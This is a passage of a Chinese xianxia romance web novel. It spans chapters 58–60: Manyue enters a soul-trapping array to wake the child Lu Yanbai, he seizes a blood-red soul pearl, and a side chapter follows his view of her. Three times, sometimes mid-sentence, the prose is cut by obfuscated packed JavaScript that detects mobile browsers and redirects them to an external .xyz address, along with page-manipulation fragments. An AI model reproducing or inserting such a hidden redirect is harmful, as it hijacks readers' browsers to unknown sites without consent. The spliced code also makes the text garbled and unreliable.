没办法,死气的存在还是有点太BUG了。按照原著的说法,程衣的实力和阴长生其实应该不相上下,不然两个人也不会是旗鼓相当的双子星了,直到阴长生接触死气,选择了邪修的道路,他们差距才逐渐被拉大。 死气风险高,收益同样也高。 又往密林的方向望了一眼,满月深吸一口气,攥紧了手中的符箓,鼓起勇气向着破庙跑去。 原著中对于妖邪之乱的描述,着重放在阴长生和程衣身上,满月只知道陆宴白会被困在阵法中等待激发,具体会遇到什么,她也不清楚。 可是时间紧迫,没空让她谋定而后动,只能放手一搏了。 如果原著说的没错,杀印一定是在庙里被激化的。 风在动,四周的一切都在光影中扭曲。 满月感觉到黑气不断地凝聚,形成一个个妖异的阴煞。她闭起眼,默念着程衣教给她的清心咒,冲破层层阻碍,来到了庙宇前。 夜风呜咽着掠过荒芜的庙宇,卷起地上的枯叶残叶。 满月屏住呼吸,她能清晰地感觉到那股令人不安的气息正变得越来越浓郁。 她用短剑推开那扇摇摇欲坠的残破木门,一股巨大的力道反噬而来,幸好她早做了准备,堪堪闪身躲了过去。 血红禁制浮现在门前,活物一般的符文缓缓流淌,隔绝了内外。 而破庙内,黑气浓郁得几乎填满了整个空间。 小团子被浓稠黑气悬吊在半空,那些黑气疯狂地蠕动着,如同荆棘将他层层束缚,形成了一个镂空的茧。 他双目紧闭,像一具了无生气的泥胎木塑,那些荆棘却源源不断地从他身上汲取着什么,四周的血红之气正是从他身上溢了出来,而他已陷入昏厥, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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金瞳之中,倒映着一切,却唯独没有丝毫的感情,淡漠又空洞。 满月同他的视线对上,愣了一愣。 那些荆棘触手像重新有了意志一般卷土重来,带着无差别摧毁一切的执念,顷刻之间缠绕住她的脖子,将她悬在半空,速度比之前还要快,根本不给她任何躲开的可能。 满月知道,单靠在外面,她很难唤醒他。 只有进入生魂阵这一条路可走了。 一定,要进入生魂阵。 只有入阵,她才能将他救出来。 这是改变命运最后的希望。 “我才……我才不要认命……”满月被扼住喉咙,声音嘶哑破碎,每一个字都像是从牙缝里挤出来。 她眼中没有丝毫的畏惧,只有一种孤注一掷的疯狂。下定决心,她猛地低头,张开嘴狠狠咬在了束缚着她的黑色荆棘上。 口中的腥甜不知是荆棘的反噬还是她自己咬破了嘴唇。 再帮她一次,玉珠。 拜托了! 满月聚集着所有的妖力涌向腕上的玉珠,在她咬向荆棘的一瞬,玉珠同时爆发出刺目的幽蓝光芒。 蓝光大盛,那些黑气荆棘仿佛被无形的火焰灼烧,齐齐松开了她,受了惊吓似的退回到原处,忌惮着她周身的光芒,不敢再靠近。 等的就是这个! 满月抓住这个来之不易的机会,不顾一切冲向巨大黑茧的中心。 浓稠如墨的黑气碰触到她身上的幽蓝华光,顷刻被净化驱散,黑茧也被破开一个口子。 就在玉珠即将黯淡的关头,满月终于如愿以偿来到了陆宴白身边,她刚一握住他的手,最后一缕蓝光消失殆尽。 黑气从四面八方再度席卷而来。 铺天盖地。 她被黑茧彻底吞没。 59. 059 杀不完。 戾气在心里翻腾。 他跌跌撞撞地站起来,想要往前走,却又被身后阴冷气息的黑影拖住,将他重新带回那堆怎么杀也杀不完的邪祟中。 就快要被吞噬。 小团子徒劳地挣扎着,视野被黑暗和剧痛模糊,他能感觉到冰冷的气息沿着他的身体缠绕过来。 与此同时,有许多声音不断在耳边响起,窸窸窣窣,窸窸窣窣,停不下来。 不要再挣扎了。 不要再抵抗了。 这就是你的宿命。 沉沦下去吧。 你会感觉到愉悦。 那些声音层层叠叠,交织缠绕,在他混乱的脑海中不断放大,渐渐化作一片无边无际的嗡鸣。意志在这样的冲击下逐渐沉沦。 好想就这样放弃。 放弃了就不会感到痛苦了吗? 小团子没力气挣扎了,也不想再挣扎了,绝望在心间蔓延。 怎么做都是徒劳,根本没用的。 他求生的意志逐渐微弱,眼前却不断有景象划过。 就像在长街上看过的走马灯一样。 起初他看到了嬷嬷。摸他的头给他讲故事的嬷嬷,看着他飞速愈合的伤口满目惊恐的嬷嬷,不小心闯入道观的嬷嬷,匕首深深没入她的身体的嬷嬷。 而后光影一转,变成了她。许许多多的她,笑着的她,疑惑的她,花树下的她,看烟花时满身寂寥的她,带他看灯盏逗他玩的她。 他想伸手去抓那个总是带着狡黠笑容的小妖怪,可她却如幻影一样从他指尖消散。 好累啊。 他不想再挣扎了。 眼皮像灌了铅一样,四周的阴煞纷纷涌了过来,将他淹没。 他不断地下坠,被死气所束缚。 就在意识沦陷,快要被耳边窸窣的低语吞没的一刻。他却忽然感觉身上一轻,那些缠绕着他的死气消失了大半,耳边疯狂的呓语也减弱了许多。 与此同时有什么东西在啄他的眼皮,那力道算不上重,不至于伤害到他,又让他无法忽视。 意识逐渐回笼聚焦,小团子缓缓睁开了眼。 一只圆滚滚、通身雪白的小雀鸟踩在他的脸上,正焦灼地用自己的喙轻啄着他的眼皮。 小团子愣了愣。 满月见他清醒过来,这才堪堪松下一口气。 她也很崩溃。 好消息,她确实成功进入了生魂阵。 坏消息…… 满月扑扇着翅膀飞了起来。事到如今,心头只剩下一丝淡淡的想死,甚至觉得有点幽默。 没错,坏消息就是她被强制变回自己的妖身了,而且被这里不知道什么东西禁锢着,还变不回来了。 这对吗??? 这不对吧。 怎么和她想象的一点也不一样??? 按照一般的定律,她不是应该像个英雄一样大杀四方吗?!化成一只不能口吐人言的小白雀是怎么回事! 而且很久之前满月还说绝对不会让陆看到她的妖身,现在这种情况,又怎么不算一种回旋镖呢。 小团子眨眨眼,确定没有看错后,一个不可思议却又最具可能性的想法闯入他的脑海。 “你是……她,对不对?” 满月从来没有告诉小团子自己的名字,他也并不会用原主的名字称呼她。 小白雀小鸡啄米一样点点头。 小团子的眼睛刷地被点燃,无法抑制的激动跃然其中,就像溺水的人终于抓到了唯一的救命稻草。 认识这么久,满月还是头一次见他的情绪这么鲜明剧烈。 小团子将小白雀抱在了怀中,就像获得了一件失而复得的珍宝:“你还活着!” 满月差点被他的热情勒死。她从他的怀抱中挣扎着探出头,大口大口喘着气。 还好,她暂时唤回了他的意识,没有到不可挽回的地步。 刚刚甫一进来,她就看到小团子被阴煞团团困住,动弹不得,差一点就要被激发杀印。 幸好她虽然化为了妖身,妖力却不知何故比在外面要强上不少,轻而易举将那些阴煞赶走了,千钧一发之际唤醒了他。不早不晚,刚好赶在最后关头。 但他们两个都被困在了生魂阵中。 这和满月进阵前的预想有点不一样了。 生魂阵,是阴长生一手给杀印打造的地牢,也是激发杀印的关键,将他的魂魄拘在此处与阴煞不断厮杀,直至力竭绝望,永无出头之日。 十分歹毒。 不过原著中并没有提及陆宴白被困在生魂阵时发生的事。关于生魂阵里的细节,反倒是在后面的篇章有过详细的描述。 就是在陆宴白杀阴长生的时候。 后文陆宴白用了一模一样的方法,像当年阴长生囚禁他一样,将阴长生困在同样用无尽死气构筑的生魂阵中,折磨着他,又在他快死的时候救活他,让他求生不得求死不能。阴长生用尽办法,才艰难求得一死。 这件事充分展现了陆宴白的可怕之处。 如果他真的一比一还原完全复刻了阴长生的生魂阵,那么这里的构造与后文生魂阵的构造应该是差不多的。 ……看来只有那个办法了。 打定主意,满月迅速有了计划,她轻轻用自己的喙啄了啄小团子的手,从他怀中飞了出来。 现在可不是叙旧的好时机,阴长生随时有可能回来,他们得快些行动。 小团子也从失而复得的喜悦中回过神来,他这才想起目前的处境,短暂的狂喜很快被现实的冰冷浇灭。 四周翻涌如墨的死气并未退却,察觉到活物的气息,阴煞如同修道血腥的鬣狗,蠢蠢欲动着。只是它们似乎忌惮着什么,不敢再像之前那么肆无忌惮,只有几缕黑气试探着朝他们伸来。 “小心!”小团子下意识想要去挡,却发现自己仍旧虚弱不堪。 反而是满月脖子上与她一同缩小的玉珠发了光,纯净的幽蓝之光,瞬间将黑气消融。 阴煞仿佛被震慑,竟一时不敢再上前,只在周围徘徊涌动,发出不甘的嘶嘶低鸣。 小团子长长的睫毛上还挂着未干的泪珠,苍白的小脸闪过惊喜,他仰头瞧着满月,毫不掩饰自己的崇拜,这副模样让人完全联想不到他和陆宴白会是同一个人:“好厉害!” 满月被夸得心花怒放。尤其一想到小团子是陆宴白,被他用这样的目光注视着,她心里那点小小的虚荣几乎快要压不住。 你小子也有今天。 ……冷静。 满月强行压下心头的飘飘然,用喙叼住小团子那件早已破败不堪的衣衫,用力拽了拽,示意他跟上。 小团子心领神会,尽管步履还有些不稳,但仍然立刻迈开脚步,紧紧跟随着她,仿佛只有待在她身边,才能感到心安。 玉珠散发着柔和却坚定的光芒,一闪一闪,如同黑暗中唯一的灯塔。它所到之处,那些阴煞纷纷退避,竟真的不敢再追上来,为他们在浓郁的死气中开辟出一条相对安全的道路。 生魂阵是用命魂珠作为阵眼的。阴长生再天赋异禀归根结底也还是个凡人,他撼动不了阵眼,所以被困在里面一点办法都没有。 可陆宴白不一样,他是杀印转世,天生就应着死气而来,他不会惧怕命魂珠。 如果满月猜得没错,让小团子拿走命魂珠,也许就能解开这个死局。 只是不知道外面的程衣能不能拖住阴长生。 留给她的时间并不多。 或许是阴长生太过自信,认定生魂阵绝对不会被外人闯入,那至关重要的阵眼——命魂珠,竟毫无遮掩地悬浮在整个生魂阵最中心的位置。循着空气中那一缕若有似无的血红之气,几乎没费多少周折,他们就顺利抵达了目的地。 阵眼所在之处,死气浓郁得近乎化为实质。在那黑气翻涌的中心,血红珠子悬浮半空,发着诡谲莫测的红光,血红之气千丝万缕向外延伸,支撑着整个空间。 满月瞧着命魂珠,只觉顺利到有些不可思议。 没办法,总被幸运E附体,她都快忘了幸运两个字该怎么写。 可小团子却停下了脚步。 之前耳边让他躁动的声音又回来了。 这一次更为清晰。 拿起它吧。 拿起它吧。 去拿起你的权柄,迎接你注定的命运。 充满蛊惑的低吟带着一种令人毛骨悚然的甜蜜,引诱着他走过去。 满月一心想着命魂珠的事,完全没留意到小团子的停顿。她朝着他啾啾叫了两声,也不管懂没懂,只身先飞了过去。 就在距离珠子仅三尺之遥,两道快如鬼魅的黑影从命魂珠下方翻腾的死气中猛地窜出,像两条潜伏已久的毒蛇,一左一右,闪电般绞杀向空中的她。 满月妖身状态身形更为敏捷,很轻松就躲了过去。 阴冷的死气刮过她的尾羽,带起一阵寒意。 果然,阴长生没有她想得那么蠢。 他还是留了后手的。 只不过相对于她现在的实力,这点后手有些不足为惧。 满月将那两道黑影引开,回头想让小团子过去,却发现他停在原地,仿佛陷入什么幻觉之中,牙齿打颤,浑身发抖,不远处的血红珠子与他遥相辉映。 满月也不清楚是什么情况,她用玉珠的光亮将那两道黑影困住,飞了回去。 正在这时,玉珠忽然爆发光亮,整个大阵晃动起来,一声巨响,在黑影爆炸的一刻,小团子却像是才醒过来似的,将恰好飞到他面前的小白雀抱在了怀中。 剧烈的冲击将他们击退到一旁。 满月并不知道外面发生了什么,但也猜到是阴长生回来了。 时间已经比她想象中久了太多,可惜还是差了一点。 满月从地上爬起来,直到这时她才惊讶地发现,不知怎么回事,也许是刚才的爆炸,她身上禁制被解除了,恢复了人身。 她忙转头去找小团子。 小团子也咳嗽着爬起身,发现面前的小白雀不见了,他呼吸一滞,像被人猝不及防攥住了心脏,正当他的心毫无希望地下坠之际,一只手出现在他眼前。 小团子倏然抬头,看到了熟悉的面孔。 心落回了原位。 他握着她的手站了起来。 “你没事吧?” 小团子咳嗽两声,身体控制不住在抖:“我,我没事。” 满月以为小团子害怕,握住了他的手。她俯下身,视线与他平齐: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16135638|178149||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “别怕。” 小团子看着她,只感到从未有过的安心,点了点头。 “看到那颗珠子了吗?”满月指向命魂珠,“那是你的东西,只要拿到它,你就拥有力量,再也不会害怕你师父了。” 小团子一怔。 满月没想到有一天,她竟然会帮助陆宴白拿到命魂珠。 真是孽缘啊。 “去吧。”满月推了他一把。 可是小团子却没动。他瞧着她,乌黑的眼眸映着她的模样,很近又很远。 冥冥之中,他有一种不真切的预感。 如果拿到了那个古怪的珠子,她也会随着一并离开。 这种预感像一只无形的手攫取着他心里最脆弱柔软的地方,让他不想去拿起那个不断呼唤着他的血红珠子。 他不想再失去她了。 满月瞧了眼还没赶过来的阴长生,回头看到小团子一动不动,有些奇怪:“你……” “如果我拿到它,你就会消失。对吗?” 满月愣了下。 就在她停顿的一瞬,黑气向她袭来。 “呵,小老鼠。”阴长生已至身后,他面无表情,眼里却充满了杀意。 他没想到,有人能够承承受住气的侵蚀进入生魂阵。 这确实出乎意料,以他对死气的了解完全不可能有人做到。 这虽然引起了他的好奇心和想要探究的欲望,但他很清楚现在远不是考虑这个的时候。 阴长生冷笑一声,出手就是杀招:“这么想死我就成全你。” 黑气凝结成巨浪以排山倒海席卷而来,先前惧怕的阴煞也不要命似的,红着眼睛尖啸着向他们冲了过来。 满月展开屏障,替他们承下一击:“快!” 小团子垂下眼睫,须臾,他转过身,毫不犹豫拿起了那颗血红色的珠子。 死气源源不断地涌入他的身体之中,但这一次带来的并非伤害,而是力量。 被玉珠阻挡在外阴煞全部安静下来,下一刻,他们像是被什么东西攫住,砰的一声炸了开来。 小团子感受着一股强大的力量涌入自己的身体。 耳边的声音止息了,取而代之的是眸中躁动的欲念。 满月却是忐忑。她并不知道自己赌对了没。以她对陆宴白的了解,如果他真的有执念,必然不会是正常人的思路,比如得到拯救,杀掉阴长生之类。 所以他想要的,自始至终是命魂珠里蕴含的力量。 就像他在现实中做的那样。 他讨厌的并非别人伤害了他,他讨厌的是自己的弱小。 满月是这样猜测的。 大阵摇晃得更加剧烈,阴煞一个接一个自爆,黑气凝成的巨浪反过头来涌向了阴长生。阴长生满脸不可置信,他抬手去挡,却还是被彻底吞没。 满月仰头,发现四周正在倾塌,化作点点萤火,逐步褪去原有的色彩。 事实证明—— 她赌对了。 顷刻之间,生魂阵坍塌殆尽。 四面的一切都在飞速运转,分崩离析。 时间在倒流,蕴含了无数过往的倒影,在周遭支离破碎地闪回。 生冷恐怖的庙宇,冰冷的石桥,流光溢彩的灯会,喧闹的人声,烟花,汤圆中的铜钱,冬日的枯树开了花…… 一幕又一幕,如同水面被投入石子,剧烈地扭曲震荡,而后破碎。 一切散尽了,站在原地的小团子已然变了个人。 满月看着自己逐渐透明的身体,松了口气。 这场噩梦终于到头了。 她正打算好好道个别,一抬头,却发现面前的人已不再是之前的小团子。 满月的心跳猛然漏了一拍。 身形修长的少年静静伫立在原地,萤火在他周身盘旋,却无法沾染他分毫。他的模样和她记忆中一样又不一样,她好像头一次瞧清了他的脸,即便没有金瞳,仍旧明艳不可方物,好看得简直过分,尤其那双眼睛,映着点点萤火,流光溢彩,煌煌夺目。 满月哑然,未说出的话停在了嘴边。 陆宴白一瞬不瞬看着她,极为罕见的,他脸上没有任何笑容,星眸明灭不定,让人分辨不清他的心思:“你究竟是何人?” 满月张了张口,最终却什么都没有说。 不知道为什么,她心里始终不能把那个脆弱敏感的小团子和陆宴白画上等号。她始终觉得,小团子是小团子,陆宴白是陆宴白。小团子不在了,她的心也仿佛跟着缺了一块似的,空空落落。 如今她只再一次庆幸现在的她不是原本的模样,而且她也从未告知他自己真正的名字。 一切留在这里就好。 反正,他们本来也不需要这种无谓的羁绊。 就在这无声对峙的刹那,宛如种子形状的东西在虚空之间平白浮现了出来,质地如琉璃,泛着微光。 梦种! 满月眼睛一亮,干脆利落地将梦种握在了手里。巨大的光亮从梦种之中倾泻而出,一种安定的感觉充斥在她的心间,填补了那份因小团子的离开而产生空缺。 陆宴白蹙了下眉,想要伸手抓住她,可还没碰到边,眼前的人已先化作流萤四散而去。 她就这样消失不见了。 60. 陆宴白番外(一) 陆宴白很早就知道,他的记忆是被人刻意封印起来的。 没有任何来玄都观之前的记忆,他像凭空出现在了这里,没有过往,一片空白。 年岁尚小时,他曾问过自己的师父行藏道人。行藏道人沉默片刻,破例提起了当年的妖邪之乱。那场席卷整个盛京,令玄都观名声大毁的祸乱,一夜之间焚杀了无数人,也造就了无数无家可归的孤儿。 而他也是在那场灾祸后才被送来玄都观的。 “许是你当时受了惊吓,又或是无意中被妖邪之气冲撞,再加上你天生缺了一魄,神魂本就不稳,故而遗落了过去,也在常理之中。”行藏道人语气温和,看着他,目光平静,“现在你既入道门,前尘往事已不重要,当发心向善,潜心修为才是。” 行藏道人的话条理清晰,听起来天衣无缝,极有道理。可陆宴白却敏锐地觉察到这不过是他信手拈来骗小孩的。在同龄的师兄师姐还在玩泥巴的时候,他已经过分早熟,早就学会了如何分辨大人口中话语的真伪与深浅。 不过他并没有表露出一分一毫的怀疑,只是抬起头,漆黑如墨的眸子里适时流露出应有的情绪,真的像个孩子似的接受了这个解释,从此再未在行藏道人面前提过类似的问题。 许是天性使然,他一向不曾真正相信过任何人,知道无法从行藏道人这里得到真相,便也不多牵扯。 他不动声色地蛰伏着,待年岁稍长,就想方设法瞒过藏书阁的老道士,私下偷学了禁术。也因此,他终于确定他的记忆并非自然丢失,而是被一道极为强大的禁制封锁在识海深处。 陆宴白尝试了许多破解之法,典籍中记载的,他自己推演出的。他忍受了常人不能忍受的诸般痛苦,可那禁制却坚不可摧,无法打破,只偶尔有零星的片段冲破障碍涌入脑海。 通过不断地拼凑,他得以窥见自己过去的一隅。 那确实不是一个美好的过去。 不过陆宴白并不在意,他从不会可怜自己,就如同他也不会可怜别人一样。看着发生的种种,他没有丝毫的感觉,就像一个局外人,仿佛只是掌握了他应该掌握的知识。 直到他看到了自己与阴长生的纠葛。 阴长生,一个玄都观人人皆知,却又没一个人愿意主动提及的名字。他是玄都观最大的耻辱,亦是妖邪之乱的罪魁祸首,差点曾害得玄都观名声尽毁。 陆宴白却在乏味的生活里感到一丝极为难得的兴奋。 阴长生很强。 他要找到他,然后杀了他。 陆宴白十四岁通关锁妖塔,十六岁自创金字真言,人人都说他是百年难遇的天才,可他清楚自己始终与记忆里的那个人存在着差距。 阴长生也曾是玄都观的天才。他虽然早就叛离师门,留下的传说却存在于玄都观边边角角。与阴长生相比,他终究差着一些。 陆宴白猜测,这或许与他缺掉的那一魄有关。行藏道人说,他天生缺一魄。但逐渐恢复了记忆的他却清楚这不是真的。他的那一魄最有可能丢失在妖邪之乱那日,可惜他尝试了很多方法,却都无法想起那天究竟发生了什么。 他只能推测是被阴长生带走了。 随着他能记起的事情越来越多,他从阴长生那里得知了死气,得知了命魂珠,也得知了自己的身份。 杀印。 怪不得他从来都觉得和身边的其他人格格不入。 原来他真的和他们不一样。他寡恩薄情,鲜少感知情绪的起伏,那些师兄师妹间的情谊,在他看来就像过家家的玩笑一样浅薄无知。 在他看来,只有力量是真的。 要得到足以媲美阴长生的力量,最快的方式就是找到命魂珠。 那种只在传闻中出现过的东西。 可陆宴白知道那是真实存在的,因为他在阴长生手里见到过。 陆宴白离开了玄都观外出游历,表面上是寻找自己那一魄的下落,实际上是在找命魂珠。 他也因此看见了真实的世界。和玄都观那个美好却虚假的桃花源不同,真实的世界充斥着丑恶,彼此之间尔虞我诈,勾心斗角,纷争永不停息。 还有死气。与在盛京时听说的并不一样,曾经被当作禁忌严加看管的死气,早已在不知不觉间死灰复燃,渗透到每一个光照不见的角落。 朝堂的腐败,人心的堕落,绝望、恐惧、愤怒、怨恨,悄然无声如附骨之疽滋生在世间,人与妖的对立仇恨,甚至是人与人的对立仇恨日益严重,似乎都亟待着某个时刻的来临,就像过去的那场妖邪之乱。 陆宴白看透了这些,却从未生起一丝一毫想改变的念头,也从不过分地牵涉其间。他生性淡薄,对所有人都是一视同仁的薄情无义,在玄都观尚且如此,更何况这些本就与他不相干的芸芸众生。 他可以清醒地看着一个人作死堕落,于他而言不顺手推波助澜都是发善心。游历一年,他已然觉得一切都是那么的无趣,世间的人来来去去都是同一个模样,或为名或为利,又或为其他隐秘曲折的欲望。 被欲望吞噬,成为欲望的俘虏,所以很好操控,也很好预测。 洞悉一切知悉一切的代价,就是丧失所有乐趣。 他百无聊赖地行走在世上,让他感觉有意思的时刻是那样稀少,也只有杀掉阴长生这件事才能让他稍稍提起兴致。 一日行藏道人发来密信,告知了他三危山的事。 信很简短,只说他有一劫或将应在三危山。 行藏道人是个谨慎的人,虽然人人皆知他善卜,但他却很少将占卜的内容轻易告知他人。能让他大费周章找到他只为了说这个,其中一定有什么缘故。 陆宴白懒得猜测行藏道人为何要这样做,他也不在乎。寻常人趋利避害,一听应劫,只怕早就躲得远远的。陆宴白不怕,他甚至极为难得地被勾起了些许好奇心。 没办法,尘世实在太过无聊。 而且他也正好有所听闻,散在各处的命魂珠有一颗好像就落在了执掌三危山的大妖度母阴司手中。 于是他去了三危山。 劫还没应到,他先遇见了一个小妖怪。 他一早就注意到了她,也不知道为什么,从第一眼开始就对她印象极为深刻。她穿着荼白色的衣裙,裙子上绣着月桂一样的花纹,发髻上绑着白绒球,风吹过,绒毛一摆一摆,与她笑起时眉眼弯弯的灵动模样十分相像。 那小妖怪似乎对自己隐蔽气息的术法很自信,但其实不说他,就是玄都观中随便一个与她年岁相仿的弟子来,都能一眼瞧出她拙劣的伪装。 其实他并不需要她领路。 要进山,方法很多。他既然能看得出虚空阵,就能找到入口。 可他还是这样做了。 没有缘由,也许只是觉得好玩。 和单纯天真的外表不同,她的小心思其实很多,脑筋也转得很快,无论步入怎样的绝境,都能很快适应并寻找出路。明明那么弱小又无力,活得像蝼蚁一样,随便什么人都能将她轻易碾碎,她却从不会放弃自己,哪怕前路渺茫。 这股不知从何而来的生命力,让陆宴白忍不住同她纠缠周旋。 会挣扎的猎物才是好猎物。不是吗? 他故意说一些话逗她玩,她的反应每次都让他新奇。她分明是害怕他的,却常常又忍不住将对他的腹诽呈现在脸上,明明狡诈又机灵,却总是装得很笨拙,懂得服软,又不是真的服软,阴奉阳违,总有些意想不到的奇思妙想。她对待世界的方式也让他觉得好玩。任凭谁都看得出世间对她的种种不公,可她却从不像世间那些庸人自哀自怨,只是不断地寻求生路。 轻盈,明亮,鲜活,又生机勃勃。 同时还捉摸不透。 陆宴白极为难得地对一个人感到有趣。 大概就是凭借着这点有趣,哪怕她身上有着许多难以解释清楚的疑点,哪怕她知道命魂珠,陆宴白也没有真的起过想除掉她的心。 尽管他只要稍加出手,就能轻而易举将这件事做到滴水不漏,不会引来任何麻烦。 不过还是算了。 他也好奇,这样弱小的异类,能够如何在这世间继续存活下去。 九曲地宫法阵破除,他如愿拿到了命魂珠,却并没有预料之中的喜悦,反而还比不上与她相处的那两三日。 料理完后事,回到客栈,见到那只被她当做宝贝的小黄雀,他不可抑制地想到了她。当时他是想找到她带走的,可惜度母阴司胆子太小,封山封得太快,没给他机会。 他没想到会在这里再见到她。 她却变得有些不一样了。从前斗智斗勇的百折不挠,变成了一种唯唯诺诺的退缩胆怯。他看得出,她很怕他,但是和之前那种怕不一样,现在的更像是一种恐惧,深入骨髓的恐惧,对他避之不及。 他顿时索然无味,暗觉她也和那些庸人没什么两样。 都是被生杀欲念所掌控的凡人,无趣,乏味。 放走了她,进入房中,行藏道人却破天荒地给他布置了任务。行藏道人卜得那小妖怪会遇险,要他去救她一命。 陆宴白依言去了。无论如何他现在还是玄都观的人,行藏道人名义上的弟子,没有不应的道理。 他其实很早就找到了她,在她进入酒肆前。他眼见着那个邪道进去,明知她那点三脚猫工夫在那邪道面前不值一提,依然没有搭救的想法。她离开酒肆,藏入小道,红线道人紧随其后,他则跟在了邪道身后。 果不其然,她对上红线道人根本没有一战之力。陆宴白闲闲坐在树上,手撑着脸冷眼旁观着不远处发生的一切,完全没有出手的打算。 虽然行藏道人要他救她,他却不怎么当回事。要回去交差,理由多得是,没有找到,或者是去的晚了,行藏道人也无话可说。 然而在实力相差如此之大的情况下,她却没有放弃微弱的一线生机,像在三危山时一样,她假意示弱,反手就生生刺瞎了那邪道的一只眼。 看到这一幕,陆宴白没忍住笑出了声。 血液中有什么东西流淌过,蠢蠢欲动着蓄势待发。 他久违地感受到了那种灵魂深处的兴奋。 他想她如果再强一点就好了。再强一点,她会是他很好的对手。 红线道人被她惹恼了,要虐杀她。在她将死的最后一刻,陆宴白拨动了锁魂铃。 他还是救她一命吧。因为他真的已经很久没有遇到过这么有意思的人,不,妖了。 有意思到,他实在好奇她以后会是什么样子。 倒是这小没良心的,趁着他和红线道人斗法之际想偷偷溜走。不过也在意料之中。正是如此捉摸不定的行为,他才觉得她好玩。她不是玄都观那群只知温良恭俭让的傻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16146296|178149||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 瓜,这让他很满意。 他带她回去。不久前她明明还怕他怕得要死,等趴到他背上,没走多久她却睡着了,还睡得很香。 陆宴白觉得好笑,又有点无语。她发上的绒球垂下来,蹭到他的脸,痒痒的,千丝万缕的柔软浮现而出,心像飘了起来,沉不到底。 这种复杂的情绪,他从未有过。 回到客栈,一如他所料,爱做好事的行藏道人决定好人做到底,将这小妖怪送到盛京去。所有人都赞同这个主意,只有陆宴白在心底冷笑。在他看来盛京的情况其实并没有多好,充其量是换个安全的地方接着坐牢,和在三危山没什么实质的区别。 但他也懒得管。 反正不关他的事。 救她是一时兴起,他可没想好人做到底。 不过他发现了一件事,倒让他有了些隐隐的在意。 同样都是除妖师,她怕他,却不怕程南楼他们。尤其对程南楼,哪怕他们才见第一面,她看他的眼神,却充满了不合常理的信任与欣赏,被他不小心碰到时,她还会脸红。 陆宴白莫名有点不爽起来。 陆宴白一向知道这个与他年岁相差无几的师弟有副好相貌,再加上性情温和,观内观外有不少小姑娘来找他表明心迹。陆宴白从来没留意过这些事,现在却莫名觉得他有点碍眼。 呵,真是个肤浅的小妖怪。 不光如此,她不肯告诉他的名字,却毫不犹豫告诉了程南楼。 这才是最让他不爽的。 他弯眼笑了起来,心头千回百转,杀意若隐若现。 手好痒。 如果可以,真的想杀了她。 事实上他有一百个理由应该这样做,可他偏偏就是不想。 算了,到了盛京她与他就没有关系了。 陆宴白懒得去探究自己一而再再而三的手下留情意味着什么,他随心所欲惯了,反正很多他想做的事,本来也没有道理。 然而他就是对她对程南楼的态度格外在意。 每每看到她对程南楼露出羞涩的表情,他的心中就会浮现出一种从未有过的躁动,似乎是想做一些事,但又不知道该做什么。这种落不到底的感觉极为陌生,他不喜欢,又压制不下去。 所以尽管在遇到陈荣的那一刻,他就已洞悉他的身份和企图,却没有挑明分毫。他就是要让他们深陷囹圄寸步难行,让那个讨人厌的小妖怪知道,究竟谁才能真正地救她于危难之际。 但是他算漏了一点,他没想到陈荣会与阴长生有关,更没想到陈荣布下的是破晓阵。 差一点点,那个小妖怪就真的死在了里面。 他破阵而入的时候,满心都是杀戮的欲念,动的是一击必中的杀招,根本不给他活下来的机会。 毫无意外,陈荣魂飞魄散,死无全尸。 其他人都以为这是陈荣偷学禁忌的缘故,只有陆宴白清楚,是因为他。 他也是头一次惊觉自己对那个小妖怪或许有些不一般,甚至连生平引以为傲的自制力都不见了。如果不是陈荣本身就与死气有关联,他的身份怕是早已因这件事而暴露。 动用死气是大忌,一旦被发现,他的下场就和阴长生一样,成为整个盛京的公敌。他虽然不怕,但这对他来说没什么好处。他暂时还需要玄都观的资源来替他寻找命魂珠,不是撕破脸的时候。 他冷静地审视起自己来。 他对那个小妖怪确实挺有兴趣,可是这份兴趣已然有点过了界,为了避免日后不必要的麻烦,他应该不动声色处理掉她。 理智是这么考量的,可他却依旧提不起一点兴致这么做。 原本之前陆宴白还想着一起将他们送回盛京也不错,因为这个突然的变故,他打消了这个念头,决定过了溪山就分道扬镳。 反正他们本来也不顺路。饶她一命,已算他仁慈。 她最好祈祷再也不遇见他。 其后的日子,他有意不与她独处,可就在他将要离开的前一晚,她竟然主动找到了他。 他那时正百无聊赖地摆弄着命魂珠,知道她来,他没有任何收敛的意思,任凭自己心意逗她玩,看到她那副明明很在意,却极力装作什么都没瞧见的样子,他就觉得有趣。 而她来找他的意图,是为了他的符箓。 陆宴白气笑了。 这个傻子,她根本不知道她差点面临的是什么。她的生与死,只在他一念之间。 可是。 “在盛京我的符可是价值连城,想要我的符,你用什么来换?” 连他也没想到,自己想的是一回事,说出来的却是另一回事。 “……这是我全部身家了。”她将她的那点破烂抖搂出来,小心翼翼挑出短剑,还真以为是什么好东西,“这个可不可以留给我?我没有本命妖器,有了它至少可以防身。” 她目光盈盈地抬头,满怀期待。 在她视线触及到他的一刻,陆宴白心念微动,猝不及防的,那股沉不到底的躁动又来了。 